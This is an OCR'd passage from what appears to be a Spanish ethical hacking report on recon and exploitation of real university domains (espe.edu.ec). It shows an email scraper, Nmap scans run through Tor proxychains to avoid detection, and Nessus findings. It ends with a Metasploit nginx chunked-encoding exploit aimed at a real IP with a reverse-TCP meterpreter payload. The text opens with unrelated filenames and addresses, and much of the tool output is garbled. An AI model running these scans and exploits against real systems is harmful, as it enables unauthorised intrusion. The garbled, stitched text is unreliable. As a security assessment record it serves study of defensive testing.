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Atlassian-blue-onecolor@2x-rgb.png
stackoverflow@twilio.com

Blog_360x265@2x.jpg
Solutions_1_WorkManagement_928x728@1-5x.png
samuel@wso2.com

Careers_Mobile _320x280@2x.png

dev@wso2.0rg

20Mobile@2x.png
Solutions_2_ITSM_928x728@1-5x.png
CommunityMobile 360x235@2x.jpg
565603984.40012.1675095571301@docs-node.wso2.com
hero_right_full-image_800x450px@1-5x.jpg
architecture-request@wso2.org
hero_right_800x450px@1_5x.jpg
dev-request@wso2.org

Por dltimo, se empled la herramienta con el dominio de evirtual2.espe.edu.ec
(Figura 47) del cual no se extrajo informacién ya que tiene proteccion contra scripts de
recopilacion.

Figura 47

Ejecucion del script en evirtual2.espe.edu.ec

~/Escritorio]
email-scarper.py

[+] Enter Target URL To Scan: https://evirtual2.espe.edu.ec
[1] Processing https://evirtual2.espe.edu.ec

Escaneo de puertos y enumeracion

Herramienta RED_HAWK

El RED_HAWK es una herramienta que se utilizdé para escanear los dominios
espe.edu.ec y recopilar informacién adicional para poder trabajar con ella. Con esta
herramienta, se pudo realizar tareas como el filtrado basico de la web, la obtencion de
registros e informacion geografica de direcciones IP.

Se comenzod con la recopilacidon de informacion de srvcas.espe.edu.ec (Figura 48)
obteniendo datos de informacion basica (Figura 49), informacion geogréfica de la IP

(Figura 50), y por ultimo un DNS lookup y calculo de subnet (Figura 51).
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Figura 48

Uso de la herramienta de RED_HAWK en srvcas.espe.edu.ec

Scanning Site :

Figura 49

Informacion basica RED_HAWK en srvcas.espe.edu.ec

Figura 50

Informacion Geogréfica de IP RED_HAWK en srvcas.espe.edu.ec

IP Address: 192.188.58.47
Country: Ecuador

State: Provincia de Pichincha
City: Quito

Latitude: -0.2143

Longitude: -78.5017

Figura 51

DNS Lookup y célculo de subnet RED_HAWK en srvcas.espe.edu.ec



125

DNS LOOKUP

: 192.188.58.47
. miespe.espe.

SUBNET CULATION

188.58.47

.188.58.47 / 32

.255.255.255

needed on Point-to-Point links
.0.0

Network
Netmask
Broadcast
Wildcard Mask
Hosts Bits
Max. Hosts
Host Range

(2~0 - @)
192.188.58.47 - 192.188.58.47 }

Posteriormente se continué con la recopilacion de informacién de
evirtual2.espe.edu.ec obteniendo datos de informacién basica en donde se puede destacar
el uso de un servidor nginx (Figura 52) lo que ayudara posteriormente para la seleccién de
exploits que puedan efectuar algun tipo de dafio medido e informacion de encabezado
HTTP (Figura 53) en donde se puede detectar que no cuentan con proteccién contra
ataques XSS (Cross-Site Scripting) por lo que podria existir la posibilidad implantar scripts
maliciosos, haciendo una redireccion de usuario a sitios maliciosos, o para realizar
defacement.

Figura 52

Informacion basica RED_HAWK en evirtual2.espe.edu.ec

BASIC INFO

Figura 53

Encabezado HTTP RED_HAWK en evirtual2.espe.edu.ec



126

HTTP HEADERS

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 30 Jan 2023 21:29:58 GMT
Content-Type: text/html; charset=iso-8859-1
Transfer-Encoding: chunked

Connection: close

Vary: Accept—-Encoding

Expires: Mon, 17 Jul 2000 05:00:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-heck=0,6pre-check=0, max-age=0

Pragma: no-cache

X-Xss—Protection: 0

Set-Cookie: SID=709clf76lUeb9f@efa2fc86a6f8c9afld; Path=/; HTTPOnly; Secure; HttpOnly;Secure;SameSite=Lax
ETag: "dbd1f166bf872U5e"

Vary: Accept-Encoding

Set-Cookie: SERVERID=si; path=/

Por ultimo, se finalizé con la recopilacion de informacion de bannapitest.espe.edu.ec
obteniendo datos de informacién basica en donde se puede destacar el montado de Apache
sobre un servidor Ubuntu (Figura 54) e identificar que la versién de Apache empleada no es
la mas actualizada lo que puede abrir mas brechas de seguridad, asi mismo, tener
conocimiento del sistema operativo del servidor ayudara posteriormente para la seleccion
de exploits, también se obtuvo informacién de encabezado HTTP (Figura 55).

Figura 54

Informacion basica RED_HAWK en bannapitest.espe.edu.ec

BASIC INFO

Figura 55

Encabezado HTTP RED_HAWK en bannapitest.espe.edu.ec
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HTTP HEADERS

HTTP/1.1 200 OK
Date: Mon, 30 Jan 2023 21:46:54 GMT
Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Fri, 17 Dec 2021 13:54:44 GMT
ETag: "516-5d357e19f2040"

Accept—-Ranges: bytes

Content-Length: 1302

Vary: Accept-Encoding

Connection: close

Content-Type: text/html

Herramienta nmap

Se realizaron tres escaneos de puertos por dominio empleando la herramienta Nmap
intentando identificar los puertos TCP abiertos (-sT) e identificando servicios y versiones a
todos los puertos de cada IP publica extraida (-sV) en donde no se realizara un ping para
minimizar la deteccion (-PN), evitando el intento de resolucion DNS inversa para acelerar el
proceso (-n), el primero se realiz6 a todos los puertos con maxima intensidad (T0) en donde
reintento la conexién una cantidad de 10 veces lo que reduce la velocidad del proceso, la
segunda se hizo igualmente a todos los puertos pero con una intensidad claramente inferior
(T5) para agilizar el proceso y por ultimo el escaneo final se realiz6 a los 1000 top puertos
con una intensidad inferior (T5).

A pesar de que los resultados no fueron del todo satisfactorios debido a que gran
parte de la informacién no se obtuvo, se pudo obtener los puertos que se encontraban
abiertos y por los que podria existir la posibilidad de intrusion.

En la Figura 56 se puede observar el primer escaneo realizado a
srvcas.espe.edu.ec, en la Figura 57 el segundo, y por ultimo el tercer escaneo en la Figura
58.

Figura 56

Ejecucion NMAP en todos los puertos TO srvcas.espe.edu.ec
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Ejecuciéon NMAP en todos los puertos T5 srvcas.espe.edu.ec

Figura 58

~/~/pruebasIntrusion/Nmap/srvcas/srvcasTs

4 nmap 192.188.58.47
[proxychains] config file found: /etc/proxychainsa.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/l
[proxychains] DLL init: proxychains-ng 4.16

srvcasT5Nmap.oN srvcasTSNmap. oX

ibproxychains.so.4

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 16:10 -05

[proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain 127.0.0.1:9050
stat 16 elapsed; 0 hosts completed (1 up),
Connect Scan Timing: About 0.00% done
[proxychains] Dynamic chain 127.0.0.1:9050
proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050
proxychains] Dynamic chain ... 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050
ychains] Dynamic chain . 127.0.0.1:9050
[proxychains) Oynamic chain ... 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050
[proxychains] Dynamic chain 127.0.0.1:9050
ychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain . 127.0.0.1:9050
[proxychains] Dynamic chain 127.0.0.1:9050
127.0.0.1:9050
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050
[proxychains) Dynamic chain ... 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050
[proxychains] Dynamic chain ... 127.0.0.1:9050

127.0.0.1:9050
127.0.0.1:9050

127.0.0.1:9050 <--denied
192.188.5 13 <--denied
socket error or timeout!

ocket error or timeout!
0 <--socket error or timeout!
192.188.58.47:80 ... OK
ocket error or timeout!

192.188.58.47:3306 <--socket error or timeout!
192.188.58 39 <--socket error or timeout!
192.188.58.47:23 <--socket error or timeout!
192.188.58.47:135 <--socket error or timeout!
192.188.58.47:5900 <--socket error or timeout!
192.188.58.47:199 <--socket error or timeout!
192.188.58.47:8888 <--socket error or timeout!
192.188.58.47: socket error or timeout!
192.188.58. socket error or timeout!
192.188.58.47:1720 <--socket error or timeout!
192.188.58.47:8080 ... OK

192.188.58.47:587 <--socket error or timeout!
192.188.58.47:143 <--socket error or timeout!
192.188.58.47:1025 <--socket error or timeout!
192.188.58.4 socket error or timeout!
192.188.58.4 socket error or timeout!
192.188.58.4 socket error or timeout!
192.188.58.4 0K

srvcasTSNmap. oS srvcasTsNmap. 06

Ejecucion NMAP en los Top 1000 puertos T5 srvcas.espe.edu.ec

[proxychains] config file found

espe-cert @KALIESP!

ECERT: ~/Escritorio/pruebasintrusion/Nmap/srvcas/srvcasTopports Q

pruebasIntrusion/Nmap/srvcas/srvcasTopports

1000 192
‘etc/proxyc .conf

188.58.47

srvcasTopPortshmap. ol

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

srvcasTopPortshmap. oX

Starting Nmap 7.93 ( https://nmap.org ) at 2023-81-30 16:18 -05

[proxychains] pynamic chain ...
[proxychains] Dynamic chain .
proxychains] Dynamic chain .
[proxychains] Dynamic chain .
[proxychains] Dynamic chain .
[proxychains] Dynamic chain .
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain ...
RTTVAR has grown to over 2.3 seconds, decreasing
RTTVAR has grown to over 2.3 decreasing
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] bynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
proxychains] Dynamic chain 3
Stats: 0:03:31 elapsed; 0 hosts com
Connect Scan Timing: About 1.50% don
[proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain . 127.0.0.1:9050
RTTVAR has grown to over 2.3 seconds, decreasing
RTTVAR has grown to over 2.3 seconds, decreasing
[proxychains] Dynamic chain 127.0.0.1:9050
[proxychains] Dynamic chain (]
[proxychains] pynamic chain ... .0.
[proxychains] Dynamic chain o
)

[proxychains] Dynamic chain
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

127.0.0.1:9050 <--denied

192.188.58.47:110 <--socket error or timeout!
192.188.58.47:995 <--socket error or timeout!
192.188.58.47:1025 <--socket error or timeout!
192.188.58.47:5900 <--socket error or timeout!

192.188.58.47:23 <--socket error or timeout!
04

192.188.58.47:53

et error or timeout!
25 <--socket error or timeout!
<--socket error or timeout!

192.188.58.47:8080 ... O

to 2.0
to 2.0

192.188.58.47:3306 <--socket error or timeout!

192.

188.58.47:1723

-socket error or timeout!

192.188.58.47:993 <--socket error or timeout!
192.188.58.47:139 <--socket error or timeou

192.188.58.47:1720 <

ocket error or timeout!

... 192.188.58.47:199 <--socket error or timeout!

ted (1 up), 1 undergoing Connect Scan
ETC: 20:12 (3:50:56 remaining)

192.188.58.47:256 <--socket error or timeout!
192.188.58.47:443 ... OK

to 2.0
to 2.0

192.188.58.47:135 <--socket error or timeout!
192.188.58.47:3389 <--socket error or timeout!

192.188.58.47:143 <--socket

Tor or timeout!

192.188.58.47:587 <--socket error or timeout!
192.188.58.47:80 0K

srvcasTopPortshmap. oS srvcasTopPortshinap. oG

Ahora, en la Figura 59 se puede observar el primer escaneo realizado a

evirtual.espe.edu.ec, en la Figura 60 el segundo, y por ultimo el tercer escaneo en la Figura

61.



Figura 59
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Ejecucion NMAP en los todos los puertos TO evirtual2.espe.edu.ec

nmap

[proxychains]
[proxychains]
[proxychains]
Starting Nmap
[proxychains]

Dynamic chain
Dynamic chain
Dynamic chain

[proxychains]
[proxychains]

espe-cert@KALIESPECERT: ~/Escritorio/pruebasintrusion/Nmap/evirtual2

[~/Escritorio/pruebasIntrusion/Nmap/evirtual2]
192.188.58.165

127.0.0.1:9050
127.0.0.1:9050
127.0.0.1:9050

config file found: /etc/proxychains4.conf
preloading /usr/1lib/x86_64-1inux-gnu/libproxychains.so.4
DLL init: proxychains-ng &.16
7.93 ( https://nmap.org ) at 2023-01-30 14:44 -05

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2

[proxychains] Dynamic chain
[proxychains] Dynamic chain

127.0.0.1:9050
127.0.0.1:9050

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing

[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain

Figura 60

127.0.0.1:9050
127.0.0.1:9050
127.0.0.1:9050
127.0.0.1:9050

0 2.0

evirtual2nmap.oN evirtual2nmap.oX evirtual2nmap.oS evirtual2nmap.oG

127.0.0.1:9050 <--denied
192.188.58.165:8888 <--socket error or timeout!
192.188.58.165:113 <--denied

192.188.58.165:5900 <--socket error or timeout!
192.188.58.165:80 ... O

192.188.58.165:8080 <--socket error or timeout!
192.188.58.165:256 <--socket error or timeout!
192.188.58.165:23 <--socket error or timeout!
192,188.58.165:445 I

Ejecuciéon NMAP en los todos los puertos T5 evirtual2.espe.edu.ec

Figura 61

Mnap/

evirtasll/evirtaalts
3 st LTS, 4

Ejecucién NMAP en los Top 1000 puertos T5 evirtual2.espe.edu.ec

)-[~/../pruebasIntrusion/Nmap/evirtual2/evirtualTopPorts]

hains
pPortshimap. o6

nmap

1000 192.188.58.165

[proxychains] config file found: fetc/proxychainsé.conf
[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4

[proxychains] DLL ini
Star
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain

[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain

RTTVAR has grown to over 2.3
seconds, decreasing

RTTVAR has grown to over 2.3
[proxychains] Dynamic chain
[proxychains] Dynamic chain
RTTVAR has grown to over 2.3
RTTVAR has grown to over 2.3

seconds, decreasing

seconds, decreasing

proxychains-ng 4.16
ing Nmap 7.93 ( https://nmap.org ) at 20:

2.
0!

3-01-30 16:28 -05
127.0.0.1

evirtual2TopPortshmap.oN evirtual2TopPortshmap.oX evirtual2TopPortsNmap. oS evirtual2To

050 <--denied

192.188.58.165:8888 <--socket error or timeout!

192.188.58.165:25
192.188.58.165:554 <--socket el

socket error or timeout!
-socket error or timeout!
r or timeout!

192.188.58.165:111 <--socket error or timeout!
8 192.188.58.165:53 <--denied

t
t

127.0.0.1:9050

t
t

127.0.0.1:9050

192.188.58.165:1720 <--socket
. 192.188.58.165: 443 0K

192.188.58.165:445 <--socket error or timeout!
. 192.188.58.165:8080 <--socket
o 192.188.58.165:113 <--denied

error or timeout!

error or timeout!

u
seconds, decreasing t
[proxychains] Dynamic chain .12 .1:9050
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] bynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain

Para finalizar

192.188.58.165:110 <--socket error or timeout!
192.188.58.165:143 <--socket error or timeout!
192.188.58.165:22 <--socket error or timeout!
192.188.58.165:199 <--socket err timeout!
192.188.58.165:3389 <--socket error or timeout
192.188.58.165:1025 <--socket error or timeout
192.188.58.165:135 <--socket err timeout!
192.188.58.165:5900 <--socket er
192.188.58.165:23

192.188.58.165:80

con el escaneo de puertos Nmap, en la Figura 62 se puede observar

el primer escaneo realizado a bannapitest.espe.edu.ec y el tercer escaneo en la Figura 63.
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Figura 62

Ejecucién NMAP en los todos los puertos TO bannapitest.espe.edu.ec

espe-cert@KALIESPECERT: ~/Escritorio/pruebasintrusion/Nmap/bannapitest an s

-[~/Escritorio/pruebasIntrusion/Nmap/bannapitest
15 nmap 192.188.58.66 bannapitestNmap. oN bannapitesthmap.oX bannapitestNmap. oS bannapi testNmap. oG

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.16

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 14:50 -05

proxychains] Dynamic chain ... 127.0.0.1:9050 127.0.0.1:9050 <--denied

[proxychains] Dynamic chain ... : : .58.66:8080 <--socket error or timeout!
[proxychains] Dynamic chain ... 4 3 25 .188.58.66:23 <--socket error or timeout!
[proxychains] Dynamic chain ... 5 : ey 92.188.58.66:993 <--socket error or timeout!
[proxychains] Dynamic chain ... 5 ... 192.188.58.66:445 <--socket error or timeout!
[proxychains] Dynamic chain ... 127.0.0.1:9050 192.188.58.66:80 ... OK

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

[proxychains] Dynamic chain ... .0.0.1:9 .. 192.188.58.66:8888 <--socket error or timeout!
[proxychains] Dynamic chain ... 5 ] ... 192.188.58.66:3306 <--socket error or timeout!
[proxychains] Dynamic chain ... 2 : ... 192.188.58.66:139 <--socket error or timeout!
[proxychains] Dynamic chain ... 127.0.0.1:9050 ... 192.188.58.66:554 []

Figura 63

Ejecuciéon NMAP en los Top 1000 puertos T5 bannapitest.espe.edu.ec

~/../pruebasIntrusion/Nmap/bannapitest/bannapitestTopPorts

G ins nmap 1000 192.188.58.66 bannapitestTopPortshmap.oN bannapitestTopPortsNmap.oX bannapitestTopPortshimap. oS bannapi{
estTopPortshmap. o6
[proxychains] config file found: /etc/proxychainsé.conf
[proxychains] preload i
[proxychains] pLL ini
Starting Nmap 7.93 (
[proxychains] Dynamic
[proxychains] Dynamic ¢ 2 cket error or timeout!
proxychains] Dynamic chai 2 ket error or timeout!
[proxychains] Dynamic ¢

ns

hains] Dynamic ¢ - 2 3 rror or timeout!

oxychains] Dynamic chai .. 192 ror or timeout!

hains] Dynamic cl . .6 < e or timeout!

hains] Dynamic ¢ -- or timeout!

hains] Dynamic chain .. or timeout!

oxychains] Dynamic cl .6 <= ror or timeout!
[proxychains] Dynamic c

Se pudo extraer que en el dominio de srvcas.espe.edu.ec los puertos abiertos eran
80, 8080y 443, y tanto en el dominio de evirtual2.espe.edu.ec como en
bannapitest.espe.edu.ec Unicamente el puerto 80 y 443 estuvo abierto en los tres escaneos.
Es importante destacar que los archivos de texto que contienen la informacion de
todos los escaneos fueron guardados de forma local para tener un respaldo de la
informacion obtenida.
Establecimiento y explotacién de vulnerabilidades

Herramienta BurpSuite Enterprise

BurpSuite al ser una plataforma digital que retine herramientas especializadas para
realizar pruebas de penetracion en aplicaciones web fue de gran utilidad para extraer el
directorio del dominio srvcas.espe.edu.ec (Figura 64). Y ratificar lo que se habia
determinado con pruebas anteriores, es decir la vulnerabilidad Cross-Site Scripting (XSS)

gracias a la version jquery 1.11.3 que se encuentra desactualizada.



Figura 64

Obtencion de directorio de srvcas.espe.edu.ec

Herramienta Nessus

Se empled la herramienta de Nessus asi mismo, esto permitié extraer

vulnerabilidades altas que no se habian considerado anteriormente con las demés

herramientas.

Figura 65
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Todos los escaneos hechos en Nessus
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My Scans Import New Folder

Name Schedule Last Modified

Evirtual2.espe.edu.ec On Demand Today at 6:05 PM
Bannapitest.espe.edu.ec On Demand Today at 6:04 PM
Srveas.espe.edu.ec On Demand Today at 6:01 PM

El dominio bannapitest.espe.edu.ec al ser Unicamente un dominio de redireccién no
poseia ninguna vulnerabilidad detectable por Nessus (Figura 66).
Figura 66

Escaneos hechos en Bannapitest (0O Vulnerabilidades)

Bannapitest.espe.edu.ec Gonfigure  Audit Trail Launch ~ Report ~  Export ¥

< Back to My Scans

Hosts 1 Vulnerabilities 23 VPR Top Threats &) History 1
Filter =
Host Vulnerabilities Scan Details

Status: Completed
Severity Base: CVSSv3.0
Scanner: Local Scanner
Start Today at 5:44 PM
End Today at 6:04 PM
Elapsed: 20 minutes

Vulnerabilities

Gritical
High
Medium
e Low

Info

Por otro lado, el dominio evirtual2.espe.edu.ec si poseia vulnerabilidades, una alta y
dos bajas las cuales no se consideraron debido a su poco impacto (Figura 67).
Figura 67

Escaneos hechos en Evirtual2 (1 High / 2 Low Vulnerabilidades)
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Evirtual2.espe.edu.ec

< Back to My Scans

Hosts 1 Vulnerabiliies | 21 VPR Top Threats History 1
Filter ~
Host Vulnerabilities

evirtual2.espe.edu.ec

Configure

Audit Trail

I

Launch ~ Report ¥  Expoit ~
Scan Details

Policy: Advanced Scan

Status Completed

Severity Base: GVSS 3.0

Scanner Local Scanner

Start: Today at 5:43 PM

End: Today at 6:05 PM

Elapsed 22 minutes

Vulnerabilities

' Critieal
High

Medium

® Low

® o

La vulnerabilidad alta detectada fue SWEET32 conocida por la vulnerabilidad

respecto a ataques POODLE (Padding Oracle On Downgraded Legacy Encryption) que se

puede sintetizar en un ataque de intermediario (Man in the Middle) permitiendo al intruso,

descifrar contenido durante una sesién SSL.

Figura 68

Vulnerabilidad alta de evirtual

Evirtual2.espe.edu.ec / Plugin #42873

« Back 1o Vuhnerabil

Vuinerabilities

S5L Medium Strength Cipher Suites Supported (SWEET32)

il 10 avoi use of madium strength ciphers.

Output

Por ultimo, el dominio srvcas.espe.edu.ec también poseia vulnerabilidades, una alta

y dos medias las cuales tampoco se consideraron debido a su poco impacto (Figura 69).

Figura 69

Escaneos hechos en Srvcas(1 High, 2 Medium Vulnerabilidades)
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Srvcas.espe.edu.ec

Configure  Audit Trail Launch = Repot ~  Expot ~
< Back to My Scans
Hosts 1 Vulnerabilities 23 VPR Top Threats History 1
Filter ~
Host Vulnerabilities Scan Details
— I N oo A sen
Status: Completed
Severity Base: CVSS 3.0
Scanner; Local Scanner
Start: Today at 5:42 PM
End Today at 6:01 PM
Elapsed: 19 minutes
Vulnerabilities
@ Critical
High
Medium
® Low
® Info

La vulnerabilidad alta detectada al igual que evirtual2 fue SWEET32 de la que ya se
hizo el desglose de vulnerabilidad previamente.
Figura 70

Vulnerabilidad alta de srvcas

Srvcas.espe.edu.ec / Plugin #42873

Configure  Audit Trail Launch = Report ~  Export ¥
« Back to Vulnerability Group
Vulnerabiliies 23
SSL Medium Strength Cipher Suites Supported (SWEET32) Plugin Details
Description Severity High
The remote host supports the use of SSL ciphers that ofier medium strength encryption. Nessus regards medium strength as any encryption that uses key 1D: 42873
lengths at least 64 bits and less than 112 bis, or else that ses the 3DES encryplion suite. Version 121
Type: remaote
Note that it is considerably easier to cifeumvent medium strength encryption if the attacker is on the same physical network Family General
Published November 23, 2003
Solution Modifid: February 3, 2021

Reconfiqure the afiected application if possible to avoid use of medium strength ciphers.

Risk Information

See Also
hitps:w sl org/biog/blog/2016/08/24/sweet32 Risk Factor: Medium
hitps2/si nfo CVSS v3.0 Base Scare 7.5

CVSS v3.0 Vector: CVSS 3.0/AVNACLPAN
MUENSUIGHIENAN

CVSS v2.0 Base Score: 5.0

CVSS v2.0 Vector: CYSS2AVN/ACLAUNGP
ANAN

Qutput

mMedium strength ciphers (> 64-b. . or 1pEs)

Vulnerability Information

Vulnerability Pub Date: August 24, 2016
In the news: frue.

Reference Information
CVE: CVE-2016-2183
Pport Hosts.

443 /g ww srvcas espe.eduss 2

La fase final del hacking ético consiste en la explotacién o pruebas de penetracion
como tal, comenzando con un intento sin éxito a vulnerar via POODLE los dominios que
poseian la vulnerabilidad alta detectada SWEET32 (Figura 71).

Figura 71

Script Nmap poodle (Sin resultados)



[proxychains]
[proxychains]
[proxychains]
Starting Nmap
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
[proxychains]
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s ssl-poodle 80,8080,443 192.188.58.47

config file found: /etc/proxychains&.conf

preloading /usr/lib/x86_64-1inux-gnu/Llibproxychains.so.4

DLL init: proxychains-ng 4.16

7.93 ( https://nmap.org ) at 2023-02-01 12:12 -05

Dynamic chain . 127.0.0.1:9050 127.0.0.1:9050 <--denied
Dynamic chain 9050 192.188.58.47:80 ... OK
Dynamic chain 9050 192.188.58.47:80 . 0K
Dynamic chain 9050 192.188.58.47:8080 ... OK
Dynamic chain 9050 192.188.58.47:443 ... OK
Dynamic chain 9050 192.188.58.47:8080 ... OK
Dynamic chain 9050 192.188.58.47:443 ... OK
Dynamic chain 9050 192.188.58.47 1443 0K
Dynamic chain 9050 192.188.58.47 1443 0K
Dynamic chain 9050 192.188.58.47 1443 0K
Dynamic chain 9050 192.188.58.47:8080 OK
Dynamic chain 9050 192.188.58.47:80 0K
Dynamic chain ... 192.188.58.47:80 . 0K

Nmap scan report for 192.188.58.47

Host is up (0.

74s latency).

STATE SERVICE

open
open
8080/tcp open

http
https
http-proxy

Nmap done: 1 IP address (1 host up) scanned in 28.26 seconds

Herramienta Metasploit

Como herramienta final para el aprovechamiento de vulnerabilidades se empleé

Metasploit haciendo una busqueda por servidor fisico en el que se encuentra montado el

servidor web de la ESPE, es decir Ubuntu (Figura 72).

Figura 72

Busqueda de exploit para servidor web en Ubuntu

nsfé exploit( ) > search ubuntu

[Matching Modules

Disclosure Date Rank Description

exploit/linux/local/cve_2021_3493_overlayfs 2021-04-12 2021 UBUAEU Overlayfs LPE
exploit/linux/local/af_packet_chocobo_root_priv_esc 2016-08-12 AF_PACKET chocobo_root Privilege Escalation

exploit/linux/local/af_packet_packet_set_]

_priv_esc 2017-03-29 AF_PACKET packet_set_ring Privilege Escalation

exploit/multi/browser/adobe_flash_nellymoser_bof 2015-06-23 Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
exploit/multi/brouser/adobe_flash_net_connection_confusion 2015-03-12 Adobe Flash Player NetConnection Type Confusion
exploit/linux/misc/aerospike_database_udf_cmd_exec 2020-07-31 Aerospike Database UDF Lua Code Execution

exploit/linux/misc/cve_2020_13160_anydesk

2020-06-16 mal AnyDesk GUI Format String Write

auxiliary/scanner/http/apache_activemg_source_disclosure normal Apache ActiveMQ ISP Files Source Disclosure
exploit/multi/http/apache_flink_jar_upload_exec 2019-11-13 ellent Apache Flink JAR Upload Java Code Execution
auxiliary/scanner/http/apache_flink_jobmanager_traversal 2021-01-05 normal Apache Flink JobManager Traversal

exploit/linux/smtp/apache_james_exec

2015-10-01 normal Apache James Server 2.3.2 Insecure User Creation Arbitrary File wri

exploit/multi/http/apache_roller_ognl_injection 2013-10-31 ellent Apache Roller OGNL Injection

exploit/multi/http/struts_dev_mode

2012-01-06 Apache Struts 2 Developer Mode OGNL Execution

exploit/linux/local/apport_abrt_chroot_priv_esc 2015-03-31 Apport / ABRT chroot Privilege Escalation

post/multi/escalate/cups_root_file_read

2012-11-20 CUPS 1.6.1 Root File Read

Se seleccion6 un exploit que atacara servidores con los que trabajan, en este caso

nginx HTTP server (Figura 73), los intentos de intrusion por fuerza bruta fueron fallidos, a

pesar de haber llegado a 3 bytes de longitud.

Figura 73

Seleccion de exploit

exploit/Uinux/http/nginx_chunke

Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflo
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nsf6 exploit( ) > use 50
Using configured payload cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit( ) >

msf6 exploit( ) > options

Module options (exploit/linux/http/nginx_chunked_size):

Current Setting Required Description

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The remote HTTP server port (TCP)

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST 10.9.9.243 The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:

Ubuntu 13.04 32bit - nginx 1.4.0

msf6 exploit(

Se configuré el exploit con la IP destino de evirtual2.espe.edu.ec al puerto 80, asi
como el puerto local se establecié como el 8081 (Figura 74).
Figura 74
Configuracion de opciones de exploit

msf6 exploit( ) > set RHOSTS 192.188.58.165
RHOSTS => 192.188.58.165

msf6 exploit( ) > set LPORT 8081

LPORT => 8081

msf6 exploit( ) > [

msf6 exploit( ) > options
Module options (exploit/linux/http/nginx_chunked_size):

Name  Current Setting Required Description

RIOSTS  192.188.58.165 ;v;s The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT 80 yes The remote HTTP server port (TCP)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):

n
10.9.9.. .address (an interface may be specified)

LPORT 8081 The listen port
Exploit target:

Id Name

0  Ubuntu 13.04 32bit - nginx 1.4.0

msf6 exploit(

Se configuré el exploit asi mismo, con el payload por defecto inicialmente, no existié
resultado satisfactorio.
Figura 75

Ejecucién de exploit con payload predeterminado en evirtual2:80 (fallido)

[proxychains] DAL init: proxychains-ng 4.16
msf6 exploit( ) > exploit
[proxychains] DLL init: proxychains .16
[proxychains] DLL init: proxychains 4.16

Started reverse TCP handler on 10.9.9.243:8081
- Searching for stack canary
- Assuming byte 0 0x00

- Brute forcing byte 1
[proxychains] Dymamic chain ... 127.
{[proxychains] Oymamic chaim ... 127.
{proxychains] Oymamic chain ... 127.
[proxychains] Dymamic chainm 127.
[proxychains] Oymamic chain . 127,
{proxychains] Dymamic chainm




proxychains | Dynamic
proxychains] Dymamic
Dynamic

proxychains] Dymamic
proxychains] Oynamic
proxychains] Dynmamic
proxychains] Dynamic
proxychains] Oynamic
proxychains] Dymamic
proxychains] Dymamic
192.188.58,165:80

chain
chain
chain
chain
chain
chain
chain
chain
chain
chain

- Exploit aborted due

[
L)
L)
N

127.
127.0

0.
.0,
0.
.0,
.0,
.0,
.0,
0.
.0,
0.

1
i
1
1:
1:
1
1
1
1:

903

Exploit completed, but no session was created.

proxychains] OLL init:
proxychains] OLL init:
proxychains] oLL init:
pronychaxnﬂ] OLL init:
proxychains] OLL init:

Con la mima configuracion, se modificé el payload del exploit, de igual manera no

existio resultado satisfactorio.

Figura 76

pro.
pro
pro
pro
pro

xychains-ng
xychains-ng
xychains-ng
xychains-ng
xychains-ng

192.188.35.165:
192.188.58.165:
192.188.38.165:
192.188.58.165:
192.188.58.165:
192.188.58.165:
192.188.58.165:
192.188.58.165:
192.188.58.165:
192.188.38.1065: aas
to failure: wnknown: 192.188.58.165

